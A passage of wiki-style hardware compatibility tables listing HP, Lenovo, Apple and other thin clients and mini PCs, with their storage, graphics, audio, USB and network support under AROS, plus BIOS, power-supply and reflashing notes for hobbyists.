| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;2 USB3 front, 4 USB2 back 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 2017 64 bit supports AVX SSE 4.1 - 1 204-pin DDR3 SODIMM - 19.5V 3.33A 7.4mm Coax with central pin 
|-
| &lt;!--Name--&gt;HP t620 TPC-I004-TC  
*AMD G-Series GX-217GA 2 core APU 1.65GHz (65W)
*AMD GX-415GA 4 core (65W)
and t620 PLUS (PRO wider version) TPC-I020-TC
*AMD GX-420CA SOC 4 core (Plus 85W)
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|single M.2 2280 socket sata3, mSATA socket removed end of 2014}} 
| &lt;!--Gfx--&gt;{{maybe|Vesa 2d for Radeon HD 8280E graphics 8330E  Islands GCN2 IGP - 2 dp ports no dvi}}
| &lt;!--Audio--&gt;{{yes|HDAudio with Realtek ALC221 codec 0x10EC 0x0221}} 
| &lt;!--USB--&gt;{{unk|4 front, 2 back, 1 inside limited space}} 
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8169}}
| &lt;!--Test Distro--&gt;Aros One 32bit with noacpi added to grub boot line 
| &lt;!--Comments--&gt;2014 64bit supports AVX SSE 4.1 - 2 DDR3L SODIMMs side by side - mSATA ssd and M.2 SSD are M1.6 screws, M2.0 screws used on most SSDs - 19.5V 3.33A Coax male 7.4mm 5mm with centre pin - changed the network card to a Atheros 5000 compatible - 
|-
| &lt;!--Name--&gt;HP T530 
*AMD GX-215JJ (2 core) 1.5GHz
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 m.2 sata ssd up to 2280 
| &lt;!--Gfx--&gt;Radeon R2E
| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;1 USB3.1, 1 usb-c front, 4 USB2 back 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2015 64 bit does support AVX SSE 4.1 - 1 204-pin DDR4 SODIMM - 19.5V 2.31A Coax male 4.5mm/3.0mm with centre pin - 
|-
| &lt;!--Name--&gt;HP T730 Wider &quot;Thin&quot; Client TPC-I018-TC Pixar RX-427BB (2c4t) - no display and fans blowing full speed caused by '''disabling internal gpu in bios''' flash L43_0116.bin onto smc MX25L6473F (3.3V 8-PIN SOP (200mil) SPI 25xx) ([https://www.badcaps.net/forum/troubleshooting-hardware-devices-and-electronics-theory/troubleshooting-desktop-motherboards-graphics-cards-and-pc-peripherals/bios-schematic-requests/96303-hp-t730-password-locked-bios in the rom rcvry socket under a delicate thin narrow surface flap]) with ch341a alike switchable from 5v, 3.3v to 1.8v 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{partial|Storage bios option to IDE and not AHCI to prevent constant install error messages to DH0: - add noacpi to end of grub boot line - 1 M.2 SATA slot (Key B+M) up to 2280 with T8 torx secure stub}}
| &lt;!--Gfx--&gt;{{maybe|use VESA for non-vulkan Radeon R7 GCN 2 UVD4.2 Sea Islands with 4 dp outs '''but too easy bricking''' if swapping with 1 PCIe 3.0 x8 slot 30W slim factor low profile 8400gs gt210 nvs295 nvs310 gt1030}}
| &lt;!--Audio--&gt;{{yes|HDaudio 6.34 realtek alc221 codec thru case speaker only}}
| &lt;!--USB--&gt;{{yes|'''Works''' for 4 USB2 in the back with 2 in the front, 2 USB3.0 ports on front and 1 more internal (not bootable)}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek RTL8111HSH-CG set up first in Prefs/Network}}
| &lt;!--Test Distro--&gt;boots with AROS One 32bit and 64bit USB with added noacpi added to grub boot line - press e - Latest distros can select grub boot options with Aros One 64bit USB and Aros One USB 2.8 but system seems to freeze after choice 
| &lt;!--Comments--&gt;2016 64bit supports AVX SSE 4.1 - 2 DDR3L sodimm stacked slots max 32GB - '''Larger''' 20cm/8&quot; high 3.5ltr case noisy fan - TPM2 - esc/F9 boot selector F10 enter bios - 2 serial and 1 parallel old ports - Key E Wireless - PCIe slot (x16 physical, x8 electrical) - 19.5V 4.36A 85w TPC-LA561 HP 7.4mm black-ring-tip power plug, red flashing power button, wrong psu or bad MotherBoard MB - 
|-
| &lt;!--Name--&gt;HP t630 Thin Client TPC-I020-TC 
*AMD Embedded G-Series SoC GX-420GI quad core 2Ghz
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|ahci.device mbr msdos partiton table for 2 Sata M.2, sata0 up to 2280 (1tb max), sata1 2242 (64gb max), both T8 torx secure stubs}}
| &lt;!--Gfx--&gt;{{maybe|use VESA for Radeon AMD Wani R7E with 2 displayport 1.2 sockets, use one nearest to power jack - no dvi / hdmi}}
| &lt;!--Audio--&gt;{{Yes|HDAudio 6.36 0x1022, 0x157a and ALC255 aka ALC3234 codec 0x10ec, 0x0255, pins 0x17 as LFE and 0x1b as int speaker but not ahi 6.34}}
| &lt;!--USB--&gt;{{yes|USB2 2 front and 2 rear, 2 front USB3 and 1 inside}}
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8169 8111H}}
| &lt;!--Test Distro--&gt;AROS One USB 2.2, 2.8 and 64bit USB 1.0, 1.2, 1.3 with noacpi added to the end of the grub bootline (press e) 
| &lt;!--Comments--&gt;2016 64bit supports AVX SSE 4.1 - 2 DDR4 SODIMMs side by side speed 1866Mhz limit - 19.5V 3.33A 65W TPC-BA54 Coax male 7.4mm with centre pin - can be easily bricked, might reflash bios with M40 SP149736 - 20cm/8&quot; high 1.5ltr larger fanless case - esc f1 f9 f10 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;HP Compaq Elite 7200 7300 8200 8300 SFF with kettle IEC psu cable 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{yes|IDE ata legacy only in BIOS}}
| &lt;!--Gfx--&gt;i pci-e 
| &lt;!--Audio--&gt;{{Maybe|8200 works}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{no|Intel or Broadcom}}
| &lt;!--Test Distro--&gt;icaros 2.3 
| &lt;!--Comments--&gt;2013 64bit dual core - add pci-e rtl8169 ethernet card and pci-e gf210 nvidia low height - 
|-
| &lt;!--Name--&gt;HP Compaq Pro 6305 Small Form Factor SFF AMD A75 chipset (FCH 6 SATA 6 Gb/s, 4 USB 3.0)
*AMD Quad A10-5800B
*AMD A8-5500B
*AMD Dual A6-5400B
*AMD A4-5300B
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Radeon 7000 Terascale iGPU series Radeon HD 7660D, Radeon HD 7560D, Radeon HD 7540D, Radeon HD 7480D 
| &lt;!--Audio--&gt;HD ALC221 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Broadcom 5761}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt;Elitedesk 705 G1 - SFF
*AMD A10-8850B, Quad-Core A10 PRO-7850B, A10-8750B
*AMD A10-7800B, A10 PRO-6800B, A8-7600B
*AMD A8-8650B, A6-8550B
*AMD A6-8350B, Dual A6 PRO 7400B, A4-7300B
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe| }}
| &lt;!--Gfx--&gt;{{Maybe|VESA 2D with Radeon R7 or 8000}} 
| &lt;!--Audio--&gt;{{Maybe|HD audio with Realtek ALC221 codec}} 
| &lt;!--USB--&gt;{{Maybe| }}
| &lt;!--Ethernet--&gt;{{No|Broadcom or Intel}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit - T15 security torx psu with 6pin PWR 200W connector - 
|-
| &lt;!--Name--&gt;HP EliteDesk 705 G2, 705 G3 Mini PC USFF thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2.5in and m.2 
| &lt;!--Gfx--&gt;Radeon R7 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM5762 GbE}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit AM4 socket with 35W TDP A10-8770E (4c), AMD PRO A6-8570E (2c), AMD Pro A6-9500E, or AMD PRO A10-9700E on AMD B300 FCH - ddr4 sodimm slots - 77 x 175 x 34mm (6.97 x 6.89 x 1.34in) 1L and about 3lbs - 
|-
| &lt;!--Name--&gt;HP EliteDesk 705 G4 Mini 1ltr USFF AMD Ryzen 3 2200G (4c t) or 5 2400G (4c t)
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;{{Maybe|Nvme 2280 and 2.5in sata}}
| &lt;!--Gfx--&gt;Vega 8 thru DP1.2 port 
| &lt;!--Audio--&gt;{{No|HD Audio Conexant  codec}} 
| &lt;!--USB--&gt;USB2 usb3 
| &lt;!--Ethernet--&gt;rtl8169 realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit Am4 socket - 2 sodimm 16GB max - 19.5v hp socket ext psu - 
|-
| &lt;!--Name--&gt;Elitedesk 705 G4 35w, HP Prodesk 405 G4 35W USFF - baseboard 83e9 35W - AMD Athlon PRO 200GE (2c 4t), 2200GE (4c t) or 2400GE (4c t) on AMD B350 FCH 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|Nvme 2280 and older models 2.5in sata}} 
| &lt;!--Gfx--&gt;Vega 3, 8 or 11 with 2 dp1.2 ports 
| &lt;!--Audio--&gt;{{no|HDAudio with Conexant CX20632 codec}} 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111EPH 1Gbe or Realtek RTL8111F 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2017 64bit - realtek wifi 8821 or 8822 - up to 1 ddr4 dimm slots - hp barrel external ac - 
|-
| &lt;!--Name--&gt;Elitedesk 705 G5, HP Elitedesk 806 G6, Prodesk 405 G6 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2x NVMe or 1x SATA + 1x NVMe, but not all three drives at the same time without serious modding of hd caddie || &lt;!--Gfx--&gt;Vega with DP1.4 port || &lt;!--Audio--&gt;{{no|HDAudio with Realtek ALC3205 codec}} || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{maybe|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 2 ddr4 sodimm slots - 3400GE Ryzen 5 PRO 3350GE (4c 8t), Ryzen 3 PRO 3200GE 3150GE (4c 4t), AMD Athlon Silver PRO 3125GE (2c 4t) on AMD PRO 565 
|-
| &lt;!--Name--&gt;HP t540 1ddr4 slot, t640 2 DDR4 SDRAM sodimm SO-DIMM 260-pin non-ECC max 32gb thin client USFF 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 NVM Express (NVMe) 2230 or 2280 
| &lt;!--Gfx--&gt;Vega 3 VGA, DisplayPort 
| &lt;!--Audio--&gt;HD Audio with  codec 
| &lt;!--USB--&gt;2 USB3 gen1 
| &lt;!--Ethernet--&gt;rtl8169 Realtek Realtek RTL8111HSH or RTL8111E PH-CG 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit ryzen r1000 series Ryzen Embedded R1305G 1.5 GHz, R1505G dual (2c 4t) 2.0Ghz or R1606G ?.?Ghz (2c4t) - Realtek RTL8852AE wifi - 45W psu Coax male 4.5mm/3.0mm + centre pin - 
|-
| &lt;!--Name--&gt;HP t740 SFF Thin Client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 M.2, one is sata and other nvme  
| &lt;!--Gfx--&gt;Vega 8 DisplayPort or + optional pci-e 30W Radeon E9173
| &lt;!--Audio--&gt;HD Audio with  codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;Realtek RTL8111E PH-CG 1Gbe
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit - Ryzen Embedded V1756B 3.25Ghz quad - 90W 19.5V 4.62A psu Coax male 4.5mm/3.0mm + centre pin - sodimm DDR4 max 64Gb - slightly noisy fan - 
|-
| &lt;!--Name--&gt;HP EliteDesk 805 G6 Mini 4750GE (8t 16t), Prodesk 405 G6 Ryzen 5 PRO 4650GE (6c 12t) or Ryzen 3 PRO 4350GE (4c 8t) on AMD PRO 565
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2.5in carrier and 2 slots m.2 nvme 
| &lt;!--Gfx--&gt;Vega 8 with DP1.4 and HDMI flex io2 output options 
| &lt;!--Audio--&gt;HDAudio with Realtek ALC3205 codec 
| &lt;!--USB--&gt;4 usb a - gen 2 10gig and gen 1 5gig ports 
| &lt;!--Ethernet--&gt;{{N/A}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit AMD Ryzen 4000 SBC unlocked - 2 sodimm ddr4 slots - wifi6 - 90W ac - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

====Lenovo====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Lenovo Nettop IdeaCentre Q150 (40812HU) 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;ION2 
| &lt;!--Audio--&gt; realtek codec 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;intel 10/100
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit D510 
|-
| &lt;!--Name--&gt;M625q Tiny (1L)
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;M.2 Sata 
| &lt;!--Gfx--&gt;Stoney Radeon R2, R3 or R4 and later R5 with 2 dp ports 
| &lt;!--Audio--&gt;HD audio with  ALC233-VB2-CG codec 0x10EC 0x0233 
| &lt;!--USB--&gt;{{No|3 usb3.1 Gen 1 and 3 usb2}}
| &lt;!--Ethernet--&gt;rtl8169 RTL8111  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit all dual cores - e2-9000e or a4-9120e later A9-9420e - heatsink covers 70% area covers wifi - 65w or 135w lenovo rectangle ac - 1 ddr4 2666MHz slot max 8gb - tpm 2.0 - 
|-
| &lt;!--Name--&gt;M715q Gen 1 AMD A6 A8 A10-9700E 9770E (2c2t) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2 
| &lt;!--Gfx--&gt;R4 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit - 
|-
| &lt;!--Name--&gt;M715q Gen 2 Ryzen 5 PRO 2400GE 4C 8T 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2
| &lt;!--Gfx--&gt;Vega 11 
| &lt;!--Audio--&gt;HD Audio  with codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018 64bit - f1 enter setup, esc device boot - fixed 1.8v ch341a needed to reflash 1.8v bios if no boot SOP8 DIP8 Winbond W25Q64, MXIC MX25U1635, MX25U6435 - 
|-
| &lt;!--Name--&gt;ThinkCenter M75n nano Ryzen3 3300U 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;ThinkCentre M75q M75q-1 Tiny 1ltr TMM 
*AMD Ryzen 5 PRO Quad 3500 Pro 3400GE (4c 8t) 11a5 soe400
*AMD 3200GE (2c 4t) zen1+ 11a4 
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;{{Maybe|NVMe 2280 1Tb max - untested 2.5inch}}
| &lt;!--Gfx--&gt;Vega 11 
| &lt;!--Audio--&gt;HD Audio Realtek ALC222-CG codec ALC3287 
| &lt;!--USB--&gt;3 USB3 Gen 1 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit - 65w 20v 3.25A to 135W rectangle psu - 2 sodimm ddr4 sodimm max 32GB locked 2666MHz - 
|-
| &lt;!--Name--&gt;ThinkCentre Ryzen 7 PRO Tiny 1ltr Gen 2 AMD 4000 series 
*AMD 4650GE (6c12t) 4750GE (8c16t) 4350G (4c8t) Zen2 - 
| &lt;!--IDE--&gt;{{N/A|}}
| &lt;!--SATA--&gt;{{Maybe|NVme}}
| &lt;!--Gfx--&gt;Vega 8
| &lt;!--Audio--&gt;HD Audio  codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8169 8111
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit vendor locked - 20v psu - 2 sodimm - 
|-
| &lt;!--Name--&gt;Thinkcenter M75q-2 Gen2 refresh 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2 nvme 
| &lt;!--Gfx--&gt;Radeon Vega 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;1GigE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 5650GE (6c12t) 5750GE (8c16t) - vendor/PSB can lock your AMD CPU - f12 boot devices
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Thinkcentre M75q Tiny Gen5 
| &lt;!--IDE--&gt;{{N/A| }}
| &lt;!--SATA--&gt;2 NVMe 
| &lt;!--Gfx--&gt;Radeon 780M dp1.4a or hdmi 
| &lt;!--Audio--&gt;HDAudio with  codec 
| &lt;!--USB--&gt;USB3 usb-c 
| &lt;!--Ethernet--&gt;1GBe port
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2024 Ryzen PRO 7 8700GE - 90W yellow rectangle connector psu - 2 DDR5 sodimm slots max 128Gb - 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|}


====Misc====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments 
|-
| &lt;!--Name--&gt;Impart impact Media Group IQ Box mini Digital Signage with MB896 mini itx 
| &lt;!--IDE--&gt;{{Yes| }} 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;GMA 915 gme 
| &lt;!--Audio--&gt; via audio 
| &lt;!--USB--&gt;{{yes| }} 
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit - 1 ddr2 slot - pentium m 1.73GHz - 
|-
| &lt;!--Name--&gt;[https://everymac.com/systems/apple/mac_mini/specs/mac_mini_cd_1.83-specs.html Apple A1176 Intel MacMini1,1] 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{unk|gpt/efi }}
| &lt;!--Gfx--&gt;{{Yes|gma950 2d and 3d}}
| &lt;!--Audio--&gt;{{No|HDAudio with ICH7 [https://answers.launchpad.net/ubuntu/+source/alsa-driver/+question/186749 Sigmatel Stac 9221] [https://android.googlesource.com/kernel/msm/+/android-wear-5.1.1_r0.6/sound/pci/hda/patch_sigmatel.c codec][https://alsa-devel.alsa-project.narkive.com/Yt20W6cE/sigmatel-stac9221-mux-amp-out-0x02-microphone-not-working mic]}}
| &lt;!--USB--&gt;{{Yes|USB2}} 
| &lt;!--Ethernet--&gt;{{No|Marvell}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2006 32bit possible 1.83 GHz Intel “Core Duo” (T2400) - swap pci-e wifi for atheros 5k AR5007EG - maybe hack with a 2,1 firmware - max 4GB Ram ddr2 sodimms - external apple psu - dvd boot only with c key - 
|-
| &lt;!--Name--&gt;[https://everymac.com/systems/apple/mac_mini/specs/mac-mini-core-2-duo-1.83-specs.html Apple A1176 Intel Mac Mini2,1] 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{unk|gpt/efi }}
| &lt;!--Gfx--&gt;{{Yes|gma950 2d and 3d}}
| &lt;!--Audio--&gt;{{No|HDAudio with ICH7 Sigmatel Stac 9221 codec}}
| &lt;!--USB--&gt;{{Yes|USB2}} 
| &lt;!--Ethernet--&gt;{{No|Marvell}}
| &lt;!--Test Distro--&gt;Aros One 2.0/ Icaros 
| &lt;!--Comments--&gt;2007 64bit - swap pci-e wifi for atheros 5k AR5007EG - hacked with a 2,1 firmware and replaced the cpu for T7600 2.33 Ghz C2D and max 4GB Ram ddr2 sodimms - external apple psu - dvd boot only via c key 
|-
| &lt;!--Name--&gt;Apple iMac 5,1 &quot;Core 2 Duo&quot; 1.83GHz 17&quot; T5600 MA710LL || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 with 64Mb || &lt;!--Audio--&gt;HDAudio idt codec || &lt;!--USB--&gt;3 USB2 || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit - 2 ddr2 667MHz sodimm slots - 17.0&quot; TFT widescreen 1440x900 - polycarbonate 
|-
| &lt;!--Name--&gt;Apple iMac 6,1 &quot;Core 2 Duo&quot; 2.16 2.33 24&quot; only T7400 T7600 aka MA456LL/A A1200 (EMC 2111) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia 7300GT with 128 MB of GDDR3 SDRAM PCI Express or GeForce 7600GT with 256Mb mini dvi, vga || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;3 USB2 || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit - 2 ddr2 667MHz sodimm slots - 24.0&quot; TFT widescreen 1920 x 1200 - polycarbonate plastic case iMacs of this generation are the most difficult iMacs to service due to their front bezel design 
|-
| &lt;!--Name--&gt;Neoware CA2 
| &lt;!--IDE--&gt;flash DOM 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;S3 Inc ProSavage PM133 (rev 02) vga 
| &lt;!--Audio--&gt;VIA VT82C686 AC97 Audio
| &lt;!--USB--&gt;USB
| &lt;!--Ethernet--&gt;rtl8139 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2003 32bit - VIA Ezra 800MHz - 2 PC100 sodimm slots - riser board carries an ISA slot and a PCI slot - external 12V power supply.with 4 pins - 
|-
| &lt;!--Name--&gt;Neoware CA5 Capio One 
| &lt;!--IDE--&gt;44pin Disk On Module DOM 
| &lt;!--SATA--&gt;{{N/A}} 
| &lt;!--Gfx--&gt;SiS550 vga 
| &lt;!--Audio--&gt;AC97 with SiS7019 codec 
| &lt;!--USB--&gt;USB1.1 
| &lt;!--Ethernet--&gt;rtl8139 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2004 32bit - internal power supply with mains lead has a &quot;clover leaf&quot; style - 2 144-pin PC100 or PC133 SODIMM might have 24MB of RAM soldered - 
|-
| &lt;!--Name--&gt;Neoware CA10 
*E140 model BL-XX-XX (800MHz CPU) later 
*E100 model BK-XX-XX (1GHz CPU)
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA VT8623 (Apollo CLE266) vga 
| &lt;!--Audio--&gt;AC97 with 
| &lt;!--USB--&gt;4 USB2 
| &lt;!--Ethernet--&gt;VIA VT6102/VT6103 [Rhine-II] (rev 74) 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2004/5 32bit - 12v 5.5mm/2.1mm - 2 184-pin DDR DIMM - 
|-
| &lt;!--Name--&gt;VXL Itona thin client 
*TC3200, 
*TC3x41 (P3VB-VXL) TC3541 TC3641 TC3841, 
*TC3xx1 (6VLE-VXL0) TC3931, 
*TC43xx (Gigabyte C7V7VX) TC4321 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA vga 
| &lt;!--Audio--&gt;AC'97 Audio with VIA VT 
| &lt;!--USB--&gt;VIA USB 
| &lt;!--Ethernet--&gt;Realtek 8100B 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2005 2006 32bit VIA Samuel 2, VIA C3 Nehamiah CPU, 1 DIMM slot, internal psu, 
|-
| &lt;!--Name--&gt;Neoware Capio C50, model CA15 Thin Clients] 
*Login Administrator Password Administrator
*Login User Password User 
| &lt;!--IDE--&gt;1 flash Disk On Module
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA VT8623 (Apollo CLE266) vga 
| &lt;!--Audio--&gt;AC97 with via codec 
| &lt;!--USB--&gt;USB
| &lt;!--Ethernet--&gt;VIA 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2006 32bit VIA Eden (Samuel II core) CPU - 1 ddr sodimm slot max 512mb - slot - internal psu clover leaf - 
|-
| &lt;!--Name--&gt;[http://etoy.spritesmind.net/neowareca21.html Neoware CA21 Thin Clients] Igel 3210 (and maybe the Clientron G270) 
*Login Administrator Password Administrator
*Login User Password User 
| &lt;!--IDE--&gt;1 flash Disk On Module DOM 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VIA CN700 vga 
| &lt;!--Audio--&gt;AC97 with via codec 
